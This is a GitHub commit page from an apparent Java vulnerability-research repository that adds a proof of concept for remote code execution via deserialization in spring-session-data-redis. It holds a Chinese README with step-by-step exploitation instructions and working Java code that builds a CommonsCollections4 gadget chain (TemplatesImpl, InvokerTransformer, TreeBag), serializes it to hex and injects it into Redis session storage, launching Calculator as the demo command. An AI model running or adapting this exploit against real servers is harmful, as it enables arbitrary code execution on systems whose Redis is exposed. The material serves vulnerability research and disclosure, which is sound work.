Skip to content

Commit

Permalink
feat:spring-session-data-redis RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
“threedr3am” committed May 25, 2020
1 parent 9dff6f8 commit 1b079d1
Show file tree
Hide file tree
Showing 18 changed files with 568 additions and 0 deletions.
1 change: 1 addition & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@
<module>nexus</module>
<module>apache-poi</module>
<module>java-compile</module>
<module>spring-session-redis-sync</module>
</modules>

<name>learn-java-bug</name>
Expand Down
22 changes: 22 additions & 0 deletions spring/spring-session-redis-sync/1/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>spring-session-redis-sync</artifactId>
<groupId>com.xyh</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>

<artifactId>1</artifactId>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.3.0.RELEASE</version>
</dependency>
</dependencies>

</project>
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
package me.threedr3am.bug.spring.redis.session;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
* @author threedr3am
*/
@SpringBootApplication
public class Application {

public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
package me.threedr3am.bug.spring.redis.session.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession;

/**
* @author threedr3am
*/
@Configuration
@EnableRedisHttpSession(redisNamespace = "threedr3am-session", maxInactiveIntervalInSeconds = 2 * 60 * 60)
public class SpringHttpSessionConfig {


}
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package me.threedr3am.bug.spring.redis.session.controller;

import javax.servlet.http.HttpSession;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

/**
* @author threedr3am
*/
@RestController
public class TestController {

@GetMapping("/cache")
public String cacheData(@RequestParam(name = "data", required = false) String data, HttpSession httpSession) {
if (data == null) {
return String.valueOf(httpSession.getAttribute("data"));
} else {
httpSession.setAttribute("data", data);
return data;
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
server:
port: 30001

spring:
reids:
host: 127.0.0.1
port: 6379
password:
22 changes: 22 additions & 0 deletions spring/spring-session-redis-sync/2/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>spring-session-redis-sync</artifactId>
<groupId>com.xyh</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>

<artifactId>2</artifactId>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.3.0.RELEASE</version>
</dependency>
</dependencies>

</project>
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
package me.threedr3am.bug.spring.redis.session;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
* @author threedr3am
*/
@SpringBootApplication
public class Application {

public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
package me.threedr3am.bug.spring.redis.session.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession;

/**
* @author threedr3am
*/
@Configuration
@EnableRedisHttpSession(redisNamespace = "threedr3am-session", maxInactiveIntervalInSeconds = 2 * 60 * 60)
public class SpringHttpSessionConfig {

}
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package me.threedr3am.bug.spring.redis.session.controller;

import javax.servlet.http.HttpSession;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

/**
* @author threedr3am
*/
@RestController
public class TestController {

@GetMapping("/cache")
public String cacheData(@RequestParam(name = "data", required = false) String data, HttpSession httpSession) {
if (data == null) {
return String.valueOf(httpSession.getAttribute("data"));
} else {
httpSession.setAttribute("data", data);
return data;
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
server:
port: 30002

spring:
reids:
host: 127.0.0.1
port: 6379
password:
23 changes: 23 additions & 0 deletions spring/spring-session-redis-sync/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
### spring-boot session同步最佳实践脚手架spring-session-data-redis的安全隐患问题

*一年前半前在某互联网医疗企业写过一个项目,当时项目中对接了微信的OAuth,为了性能考虑,不惜破坏了OAuth的规范,对其使用了session,
但因为系统部署是集群模式的,在A机器上做好OAuth认证初始化的session,在B机器上是不存在的,导致在做了负载均衡访问的集群环境中,
需要做多次重复冗余的OAuth认证,最终为了性能考虑,做了一番调研,选择了开源社区中比较成熟,受众比较多的spring-session-data-redis.*

*最近看了下spring-session-data-redis的源码发现,其默认使用了JDK的原生序列化方式对session值进行了序列化,然后缓存到redis中,
集群中的每一台机器,在用户访问后,将会从redis中取出缓存的数据,并反序列化回session,这个过程存在很大的安全隐患,恶意用户利用
redis未授权访问或弱口令等缺陷,取得对其读写的权力,然后对其写入恶意序列化数据,在集群机器对其数据进行反序列化时,将会执行恶意代码。*

*很明显,spring-session-data-redis不在意其反序列化安全问题,认为其安全问题都是由于redis的未授权访问或弱口令等缺陷导致的。*

1. run server-1 & server-2
2. GET http://127.0.0.1:30001/cache?data=threedr3am
3. GET http://127.0.0.1:30002/cache

上述步骤后可以看到session数据已经同步成功

4. run me.threedr3am.bug.spring.redis.session.Main
5. 把得到的十六进制序列化数据通过redis客户端,设置到redis存储的session value
6. GET http://127.0.0.1:30002/cache

这个时候就触发了反序列化,计算器弹出来了!
43 changes: 43 additions & 0 deletions spring/spring-session-redis-sync/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>spring</artifactId>
<groupId>com.xyh</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>

<artifactId>spring-session-redis-sync</artifactId>
<packaging>pom</packaging>
<modules>
<module>1</module>
<module>2</module>
</modules>

<dependencies>
<dependency>
<groupId>org.springframework.session</groupId>
<artifactId>spring-session-data-redis</artifactId>
<version>2.3.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-redis</artifactId>
<version>2.3.0.RELEASE</version>
</dependency>

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>

</project>
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
package me.threedr3am.bug.spring.redis.session;

import me.threedr3am.bug.spring.redis.session.utils.Gadgets;
import me.threedr3am.bug.spring.redis.session.utils.Reflections;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

/**
* @author threedr3am
*/
public class CommonCollections4 {

public static Object getPayload() throws Exception {
Object templates = Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

// setup harmless chain
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// define the comparator used for sorting
TransformingComparator comp = new TransformingComparator(transformer);

// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comp);
tree.add(templates);

// arm transformer
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

return tree;
}

}
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
package me.threedr3am.bug.spring.redis.session;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

/**
* @author threedr3am
*/
public class Main {

public static void main(String[] args) throws Exception {
Object payload = CommonCollections4.getPayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(payload);
byte[] bytes = byteArrayOutputStream.toByteArray();
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
byte tmp = bytes[i];
stringBuilder.append("\\x");
stringBuilder.append(String.format("%02X", tmp));
}
System.out.println(stringBuilder.toString());
}

// \xAC\xED\x00\x05t\x00\x0Athreedr3am
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
package me.threedr3am.bug.spring.redis.session.support;


import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;


public class ClassFiles {

public static String classAsFile ( final Class<?> clazz ) {
return classAsFile(clazz, true);
}


public static String classAsFile ( final Class<?> clazz, boolean suffix ) {
String str;
if ( clazz.getEnclosingClass() == null ) {
str = clazz.getName().replace(".", "/");
}
else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if ( suffix ) {
str += ".class";
}
return str;
}


@SuppressWarnings ( "resource" )
public static byte[] classAsBytes ( final Class<?> clazz ) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if ( in == null ) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ( ( len = in.read(buffer) ) != -1 ) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}
catch ( IOException e ) {
throw new RuntimeException(e);
}
}

}
Loading

0 comments on commit 1b079d1

Please sign in to comment.